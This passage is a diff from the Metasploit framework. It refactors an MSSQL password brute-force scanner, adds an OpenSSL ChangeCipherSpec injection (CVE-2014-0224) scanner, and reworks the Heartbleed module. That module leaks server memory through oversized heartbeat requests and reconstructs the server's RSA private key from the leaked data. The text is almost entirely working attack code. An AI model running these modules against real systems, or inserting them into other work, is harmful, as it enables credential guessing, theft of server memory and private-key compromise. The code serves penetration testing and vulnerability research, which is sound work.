datastore['VERBOSE']) + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DOMAIN'] + ) + + scanner = Metasploit::Framework::LoginScanner::MSSQL.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30, + windows_authentication: datastore['USE_WINDOWS_AUTHENT'] + ) + + service_data = { + address: ip, + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id } - # The service should already be reported at this point courtesy of - # report_auth_info, but this is currently the only way to give it a - # name. - report_service({ - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'mssql' - }) - end - def do_login(user='sa', pass='', verbose=false) - vprint_status("#{rhost}:#{rport} - MSSQL - Trying username:'#{user}' with password:'#{pass}'") - begin - success = mssql_login(user, pass) + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public + } - if (success) - print_good("#{rhost}:#{rport} - MSSQL - successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'mssql', - :user => user.downcase, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return :next_user + if datastore['USE_WINDOWS_AUTHENT'] + credential_data[:realm_key] = Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = result.credential.realm + end + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Credential::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else - vprint_error("#{rhost}:#{rport} failed to login as '#{user}'") - return + login_data = { + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status + } + if datastore['USE_WINDOWS_AUTHENT'] + login_data[:realm_key] = Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + login_data[:realm_value] = result.credential.realm + end + invalidate_login(login_data) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} connection failed") - return :abort end end + end diff --git a/modules/auxiliary/scanner/ssl/openssl_ccs.rb b/modules/auxiliary/scanner/ssl/openssl_ccs.rb new file mode 100644 index 0000000000..bfb7275344 --- /dev/null +++ b/modules/auxiliary/scanner/ssl/openssl_ccs.rb @@ -0,0 +1,207 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + CIPHER_SUITES = [ + 0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA + 0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA + 0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA + 0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA + 0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA + 0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA + 0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA + 0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA + 0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA + 0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA + 0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA + 0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA + 0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA + 0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA + 0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA + 0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA + 0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA + 0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA + 0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA + 0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA + 0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA + 0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA + 0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA + 0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA + 0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA + 0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA + 0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA + 0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA + 0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA + 0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA + 0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA + 0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA + 0x0096, # TLS_RSA_WITH_SEED_CBC_SHA + 0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA + 0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA + 0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA + 0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA + 0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA + 0x0005, # TLS_RSA_WITH_RC4_128_SHA + 0x0004, # TLS_RSA_WITH_RC4_128_MD5 + 0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA + 0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA + 0x0009, # TLS_RSA_WITH_DES_CBC_SHA + 0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA + 0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 + 0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5 + 0x00ff # Unknown + ] + + HANDSHAKE_RECORD_TYPE = 0x16 + CCS_RECORD_TYPE = 0x14 + ALERT_RECORD_TYPE = 0x15 + TLS_VERSION = { + 'SSLv3' => 0x0300, + '1.0' => 0x0301, + '1.1' => 0x0302, + '1.2' => 0x0303 + } + + def initialize + super( + 'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner', + 'Description' => %q{ + This module checks for the OpenSSL ChageCipherSpec (CCS) + Injection vulnerability. The problem exists in the handling of early + CCS messages during session negotation. Vulnerable installations of OpenSSL accepts + them, while later implementations do not. If successful, an attacker can leverage this + vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec + between a client and server. This issue was first reported in early June, 2014. + }, + 'Author' => [ + 'Masashi Kikuchi', # Vulnerability discovery + 'Craig Young ', # Original Scanner. This module is based on it. + 'juan vazquez' # Msf module + ], + 'References' => + [ + ['CVE', '2014-0224'], + ['URL', 'http://ccsinjection.lepidum.co.jp/'], + ['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'], + ['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'], + ['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html'] + ], + 'DisclosureDate' => 'Jun 5 2014', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def response_timeout + datastore['RESPONSE_TIMEOUT'] + end + + def run_host(ip) + ccs_injection + end + + def ccs_injection + connect_result = establish_connect + return if connect_result.nil? + + vprint_status("#{peer} - Sending CCS...") + sock.put(ccs) + alert = sock.get_once(-1, response_timeout) + if alert.blank? + print_good("#{peer} - No alert after invalid CSS message, probably vulnerable") + report + elsif alert.unpack("C").first == ALERT_RECORD_TYPE + vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable") + elsif alert + vprint_warning("#{peer} - Unexpected response.") + end + end + + def report + report_vuln({ + :host => rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully detected CCS injection" + }) + end + + def ccs + payload = "\x01" # Change Cipher Spec Message + + ssl_record(CCS_RECORD_TYPE, payload) + end + + def client_hello + # Use current day for TLS time + time_temp = Time.now + time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i + + hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS + hello_data << [time_epoch].pack("N") # Time in epoch format + hello_data << Rex::Text.rand_text(28) # Random + hello_data << "\x00" # Session ID length + hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) + hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites + hello_data << "\x01" # Compression methods length (1) + hello_data << "\x00" # Compression methods: null + + data = "\x01\x00" # Handshake Type: Client Hello (1) + data << [hello_data.length].pack("n") # Length + data << hello_data + + ssl_record(HANDSHAKE_RECORD_TYPE, data) + end + + def ssl_record(type, data) + record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn') + record << data + end + + def establish_connect + connect + + vprint_status("#{peer} - Sending Client Hello...") + sock.put(client_hello) + server_hello = sock.get(response_timeout) + + unless server_hello + vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") + disconnect + return nil + end + + unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE + vprint_error("#{peer} - Server Hello Not Found") + return nil + end + + true + end + +end + diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index a5d6db0841..4109ff847d 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -3,6 +3,12 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests. +# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300 +# but there were too many errors +# TODO: Parse the rest of the server responses and return a hash with the data +# TODO: Extract the relevant functions and include them in the framework + require 'msf/core' class Metasploit3 < Msf::Auxiliary @@ -65,9 +71,15 @@ class Metasploit3 < Msf::Auxiliary 0x00ff # Unknown ] - HANDSHAKE_RECORD_TYPE = 0x16 - HEARTBEAT_RECORD_TYPE = 0x18 - ALERT_RECORD_TYPE = 0x15 + HANDSHAKE_RECORD_TYPE = 0x16 + HEARTBEAT_RECORD_TYPE = 0x18 + ALERT_RECORD_TYPE = 0x15 + HANDSHAKE_SERVER_HELLO_TYPE = 0x02 + HANDSHAKE_CERTIFICATE_TYPE = 0x0b + HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c + HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e + + TLS_VERSION = { 'SSLv3' => 0x0300, '1.0' => 0x0301, @@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary Opt::RPORT(443), OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]), OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), - OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]), + OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]), OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]), OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]), OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) @@ -150,11 +162,20 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]), - OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ]) + OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost']) ], self.class) end + def peer + "#{rhost}:#{rport}" + end + + # + # Main methods + # + + # Called when using check def check_host(ip) @check_only = true vprint_status "#{peer} - Checking for Heartbleed exposure" @@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary end end + # Main method def run if heartbeat_length > 65535 || heartbeat_length < 0 - print_error("HEARTBEAT_LENGTH should be a natural number less than 65536") + print_error('HEARTBEAT_LENGTH should be a natural number less than 65536') return end if response_timeout < 0 - print_error("RESPONSE_TIMEOUT should be bigger than 0") + print_error('RESPONSE_TIMEOUT should be bigger than 0') return end super end + # Main method + def run_host(ip) + # initial connect to get public key and stuff + connect_result = establish_connect + disconnect + return if connect_result.nil? + + case action.name + when 'SCAN' + loot_and_report(bleed) + when 'DUMP' + loot_and_report(bleed) # Scan & Dump are similar, scan() records results + when 'KEYS' + getkeys + else + #Shouldn't get here, since Action is Enum + print_error("Unknown Action: #{action.name}") + end + + # ensure all connections are closed + disconnect + end + + # + # DATASTORE values + # + # If this is merely a check, set to the RFC-defined # maximum padding length of 2^14. See: # https://tools.ietf.org/html/rfc6520#section-4 @@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary if @check_only SAFE_CHECK_MAX_RECORD_LENGTH else - datastore["HEARTBEAT_LENGTH"] + datastore['HEARTBEAT_LENGTH'] end end - def peer - "#{rhost}:#{rport}" - end - def response_timeout datastore['RESPONSE_TIMEOUT'] end + def tls_version + datastore['TLS_VERSION'] + end + + def dumpfilter + datastore['DUMPFILTER'] + end + + def max_keytries + datastore['MAX_KEYTRIES'] + end + + def xmpp_domain + datastore['XMPPDOMAIN'] + end + + def status_every + datastore['STATUS_EVERY'] + end + + def tls_callback + datastore['TLS_CALLBACK'] + end + + # + # TLS Callbacks + # + def tls_smtp # https://tools.ietf.org/html/rfc3207 - sock.get_once(-1, response_timeout) + get_data sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data unless res && res =~ /STARTTLS/ return nil end sock.put("STARTTLS\r\n") - sock.get_once(-1, response_timeout) + get_data end def tls_imap # http://tools.ietf.org/html/rfc2595 - sock.get_once(-1, response_timeout) + get_data sock.put("a001 CAPABILITY\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data unless res && res =~ /STARTTLS/i return nil end sock.put("a002 STARTTLS\r\n") - sock.get_once(-1, response_timeout) + get_data end def tls_postgres # postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3 # http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html - sock.get_once + get_data # the postgres SSLRequest packet is a int32(8) followed by a int16(1234), # int16(5679) in network format psql_sslrequest = [8].pack('N') psql_sslrequest << [1234, 5679].pack('n*') sock.put(psql_sslrequest) - res = sock.get_once + res = get_data unless res && res =~ /S/ return nil end @@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary def tls_pop3 # http://tools.ietf.org/html/rfc2595 - sock.get_once(-1, response_timeout) + get_data sock.put("CAPA\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data if res.nil? || res =~ /^-/ || res !~ /STLS/ return nil end sock.put("STLS\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data if res.nil? || res =~ /^-/ return nil end @@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary end def tls_jabber - sock.put(jabber_connect_msg(datastore['XMPPDOMAIN'])) + sock.put(jabber_connect_msg(xmpp_domain)) res = sock.get(response_timeout) if res && res.include?('host-unknown') jabber_host = res.match(/ from='([\w.]*)' /) if jabber_host && jabber_host[1] disconnect - connect + establish_connect vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...") sock.put(jabber_connect_msg(jabber_host[1])) res = sock.get(response_timeout) @@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary res = sock.get(response_timeout) return nil if res.nil? sock.put("AUTH TLS\r\n") - res = sock.get_once(-1, response_timeout) + res = get_data return nil if res.nil? if res !~ /^234/ # res contains the error message @@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary res end - def run_host(ip) - case action.name - when 'SCAN' - loot_and_report(bleed) - when 'DUMP' - loot_and_report(bleed) # Scan & Dump are similar, scan() records results - when 'KEYS' - getkeys() - else - #Shouldn't get here, since Action is Enum - print_error("Unknown Action: #{action.name}") - return + # + # Helper Methods + # + + # Get data from the socket + # this ensures the requested length is read (if available) + def get_data(length = -1) + + return sock.get_once(-1, response_timeout) if length == -1 + + to_receive = length + data = '' + while to_receive > 0 + temp = sock.get_once(to_receive, response_timeout) + break if temp.nil? + + data << temp + to_receive -= temp.length end + data end + def to_hex_string(data) + data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip + end + + # establishes a connect and parses the server response + def establish_connect + connect + + unless tls_callback == 'None' + vprint_status("#{peer} - Trying to start SSL via #{tls_callback}") + res = self.send(TLS_CALLBACKS[tls_callback]) + if res.nil? + vprint_error("#{peer} - STARTTLS failed...") + return nil + end + end + + vprint_status("#{peer} - Sending Client Hello...") + sock.put(client_hello) + + server_hello = sock.get(response_timeout) + unless server_hello + vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") + return nil + end + + server_resp_parsed = parse_ssl_record(server_hello) + + if server_resp_parsed.nil? + vprint_error("#{peer} - Server Hello Not Found") + return nil + end + + server_resp_parsed + end + + # Generates a heartbeat request + def heartbeat_request(length) + payload = "\x01" # Heartbeat Message Type: Request (1) + payload << [length].pack('n') # Payload Length: 65535 + + ssl_record(HEARTBEAT_RECORD_TYPE, payload) + end + + # Generates, sends and receives a heartbeat message def bleed - # This actually performs the heartbleed portion connect_result = establish_connect return if connect_result.nil? vprint_status("#{peer} - Sending Heartbeat...") - sock.put(heartbeat(heartbeat_length)) - hdr = sock.get_once(5, response_timeout) - if hdr.blank? + sock.put(heartbeat_request(heartbeat_length)) + hdr = get_data(5) + if hdr.nil? || hdr.empty? vprint_error("#{peer} - No Heartbeat response...") + disconnect return end @@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary # try to get the TLS error if type == ALERT_RECORD_TYPE - res = sock.get_once(len, response_timeout) + res = get_data(len) alert_unp = res.unpack('CC') alert_level = alert_unp[0] alert_desc = alert_unp[1] - msg = "Unknown error" + # http://tools.ietf.org/html/rfc5246#section-7.2 case alert_desc when 0x46 - msg = "Protocol error. Looks like the chosen protocol is not supported." + msg = 'Protocol error. Looks like the chosen protocol is not supported.' + else + msg = 'Unknown error' end vprint_error("#{peer} - #{msg}") disconnect return end - unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']] - vprint_error("#{peer} - Unexpected Heartbeat response") + unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version] + vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})") disconnect return end - heartbeat_data = sock.get(heartbeat_length) # Read the magic length... + heartbeat_data = get_data(heartbeat_length) vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes") disconnect heartbeat_data end + # Stores received data def loot_and_report(heartbeat_data) unless heartbeat_data @@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary }) if action.name == 'DUMP' # Check mode, dump if requested. - pattern = datastore['DUMPFILTER'] + pattern = dumpfilter if pattern match_data = heartbeat_data.scan(pattern).join else match_data = heartbeat_data end path = store_loot( - "openssl.heartbleed.server", - "application/octet-stream", + 'openssl.heartbleed.server', + 'application/octet-stream', rhost, match_data, nil, - "OpenSSL Heartbleed server memory" + 'OpenSSL Heartbleed server memory' ) print_status("#{peer} - Heartbeat data stored in #{path}") end @@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary end - def getkeys() - unless datastore['TLS_CALLBACK'] == 'None' - print_error('TLS callbacks currently unsupported for keydumping action') #TODO - return - end + # + # Keydumoing helper methods + # + # Tries to retreive the private key + def getkeys print_status("#{peer} - Scanning for private keys") count = 0 @@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - e: #{e}") print_status("#{peer} - #{Time.now.getutc} - Starting.") - datastore['MAX_KEYTRIES'].times { + max_keytries.times { # Loop up to MAX_KEYTRIES times, looking for keys - if count % datastore['STATUS_EVERY'] == 0 + if count % status_every == 0 print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...") end - p, q = get_factors(bleed, n) # Try to find factors in mem + bleedresult = bleed + return unless bleedresult + + p, q = get_factors(bleedresult, n) # Try to find factors in mem unless p.nil? || q.nil? key = key_from_pqe(p, q, e) @@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary print_status(key.export) path = store_loot( - "openssl.heartbleed.server", - "text/plain", + 'openssl.heartbleed.server', + 'text/plain', rhost, key.export, nil, - "OpenSSL Heartbleed Private Key" + 'OpenSSL Heartbleed Private Key' ) print_status("#{peer} - Private key stored in #{path}") return end count += 1 } - print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.") + print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.") end - def heartbeat(length) - payload = "\x01" # Heartbeat Message Type: Request (1) - payload << [length].pack("n") # Payload Length: 65535 - - ssl_record(HEARTBEAT_RECORD_TYPE, payload) - end - - def client_hello - # Use current day for TLS time - time_temp = Time.now - time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i - - hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS - hello_data << [time_epoch].pack("N") # Time in epoch format - hello_data << Rex::Text.rand_text(28) # Random - hello_data << "\x00" # Session ID length - hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) - hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites - hello_data << "\x01" # Compression methods length (1) - hello_data << "\x00" # Compression methods: null - - hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) - hello_data_extensions << "\x00\x01" # Extension length - hello_data_extensions << "\x01" # Extension data - - hello_data << [hello_data_extensions.length].pack("n") - hello_data << hello_data_extensions - - data = "\x01\x00" # Handshake Type: Client Hello (1) - data << [hello_data.length].pack("n") # Length - data << hello_data - - ssl_record(HANDSHAKE_RECORD_TYPE, data) - end - - def ssl_record(type, data) - record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn') - record << data - end - - def get_ne() - # Fetch rhost's cert, return public key values - connect(true, {"SSL" => true}) #Force SSL - cert = OpenSSL::X509::Certificate.new(sock.peer_cert) - disconnect - - unless cert + # Returns the N and E params from the public server certificate + def get_ne + unless @cert print_error("#{peer} - No certificate found") return end - return cert.public_key.params["n"], cert.public_key.params["e"] + return @cert.public_key.params['n'], @cert.public_key.params['e'] end + # Tries to find pieces of the private key in the provided data def get_factors(data, n) # Walk through data looking for factors of n psize = n.num_bits / 8 / 2 @@ -523,40 +611,11 @@ class Metasploit3 < Msf::Auxiliary return p, q end end - } + } return nil, nil end - def establish_connect - connect - - unless datastore['TLS_CALLBACK'] == 'None' - vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}") - res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']]) - if res.nil? - vprint_error("#{peer} - STARTTLS failed...") - return nil - end - end - - vprint_status("#{peer} - Sending Client Hello...") - sock.put(client_hello) - - server_hello = sock.get(response_timeout) - unless server_hello - vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") - disconnect - return nil - end - - unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE - vprint_error("#{peer} - Server Hello Not Found") - return nil - end - - true - end - + # Generates the private key from the P, Q and E values def key_from_pqe(p, q, e) # Returns an RSA Private Key from Factors key = OpenSSL::PKey::RSA.new() @@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary return key end -end + # + # SSL/TLS packet methods + # + # Creates and returns a new SSL record with the provided data + def ssl_record(type, data) + record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn') + record << data + end + + # generates a CLIENT_HELLO ssl/tls packet + def client_hello + # Use current day for TLS time + time_temp = Time.now + time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i + + hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS + hello_data << [time_epoch].pack('N') # Time in epoch format + hello_data << Rex::Text.rand_text(28) # Random + hello_data << "\x00" # Session ID length + hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102) + hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites + hello_data << "\x01" # Compression methods length (1) + hello_data << "\x00" # Compression methods: null + + hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) + hello_data_extensions << "\x00\x01" # Extension length + hello_data_extensions << "\x01" # Extension data + + hello_data << [hello_data_extensions.length].pack('n') + hello_data << hello_data_extensions + + data = "\x01\x00" # Handshake Type: Client Hello (1) + data << [hello_data.length].pack('n') # Length + data << hello_data + + ssl_record(HANDSHAKE_RECORD_TYPE, data) + end + + # Parse SSL header + def parse_ssl_record(data) + ssl_records = [] + remaining_data = data + ssl_record_counter = 0 + while remaining_data && remaining_data.length > 0 + ssl_record_counter += 1 + ssl_unpacked = remaining_data.unpack('CH4n') + return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3 + ssl_type = ssl_unpacked[0] + ssl_version = ssl_unpacked[1] + ssl_len = ssl_unpacked[2] + vprint_debug("SSL record ##{ssl_record_counter}:") + vprint_debug("\tType: #{ssl_type}") + vprint_debug("\tVersion: 0x#{ssl_version}") + vprint_debug("\tLength: #{ssl_len}") + if ssl_type != HANDSHAKE_RECORD_TYPE + vprint_debug("\tWrong Record Type! (#{ssl_type})") + else + ssl_data = remaining_data[5, ssl_len] + handshakes = parse_handshakes(ssl_data) + ssl_records << { + :type => ssl_type, + :version => ssl_version, + :length => ssl_len, + :data => handshakes + } + end + remaining_data = remaining_data[(ssl_len + 5)..-1] + end + + ssl_records + end + + # Parse Handshake data returned from servers + def parse_handshakes(data) + # Can contain multiple handshakes + remaining_data = data + handshakes = [] + handshake_count = 0 + while remaining_data && remaining_data.length > 0 + hs_unpacked = remaining_data.unpack('CCn') + next if hs_unpacked.nil? or hs_unpacked.length < 3 + hs_type = hs_unpacked[0] + hs_len_pad = hs_unpacked[1] + hs_len = hs_unpacked[2] + hs_data = remaining_data[4, hs_len] + handshake_count += 1 + vprint_debug("\tHandshake ##{handshake_count}:") + vprint_debug("\t\tLength: #{hs_len}") + + handshake_parsed = nil + case hs_type + when HANDSHAKE_SERVER_HELLO_TYPE + vprint_debug("\t\tType: Server Hello (#{hs_type})") + handshake_parsed = parse_server_hello(hs_data) + when HANDSHAKE_CERTIFICATE_TYPE + vprint_debug("\t\tType: Certificate Data (#{hs_type})") + handshake_parsed = parse_certificate_data(hs_data) + when HANDSHAKE_KEY_EXCHANGE_TYPE + vprint_debug("\t\tType: Server Key Exchange (#{hs_type})") + # handshake_parsed = parse_server_key_exchange(hs_data) + when HANDSHAKE_SERVER_HELLO_DONE_TYPE + vprint_debug("\t\tType: Server Hello Done (#{hs_type})") + else + vprint_debug("\t\tType: Handshake type #{hs_type} not implemented") + end + + handshakes << { + :type => hs_type, + :len => hs_len, + :data => handshake_parsed + } + remaining_data = remaining_data[(hs_len + 4)..-1] + end + + handshakes + end + + # Parse Server Hello message + def parse_server_hello(data) + version = data.unpack('H4')[0] + vprint_debug("\t\tServer Hello Version: 0x#{version}") + random = data[2,32].unpack('H*')[0] + vprint_debug("\t\tServer Hello random data: #{random}") + session_id_length = data[34,1].unpack('C')[0] + vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}") + session_id = data[35,session_id_length].unpack('H*')[0] + vprint_debug("\t\tServer Hello Session ID: #{session_id}") + # TODO Read the rest of the server hello (respect message length) + + # TODO: return hash with data + true + end + + # Parse certificate data + def parse_certificate_data(data) + # get certificate data length + unpacked = data.unpack('Cn') + cert_len_padding = unpacked[0] + cert_len = unpacked[1] + vprint_debug("\t\tCertificates length: #{cert_len}") + # contains multiple certs + already_read = 3 + cert_counter = 0 + while already_read < cert_len + start = already_read + cert_counter += 1 + # get single certificate length + single_cert_unpacked = data[start, 3].unpack('Cn') + single_cert_len_padding = single_cert_unpacked[0] + single_cert_len = single_cert_unpacked[1] + vprint_debug("\t\tCertificate ##{cert_counter}:") + vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}") + certificate_data = data[(start + 3), single_cert_len] + cert = OpenSSL::X509::Certificate.new(certificate_data) + # First received certificate is the one from the server + @cert = 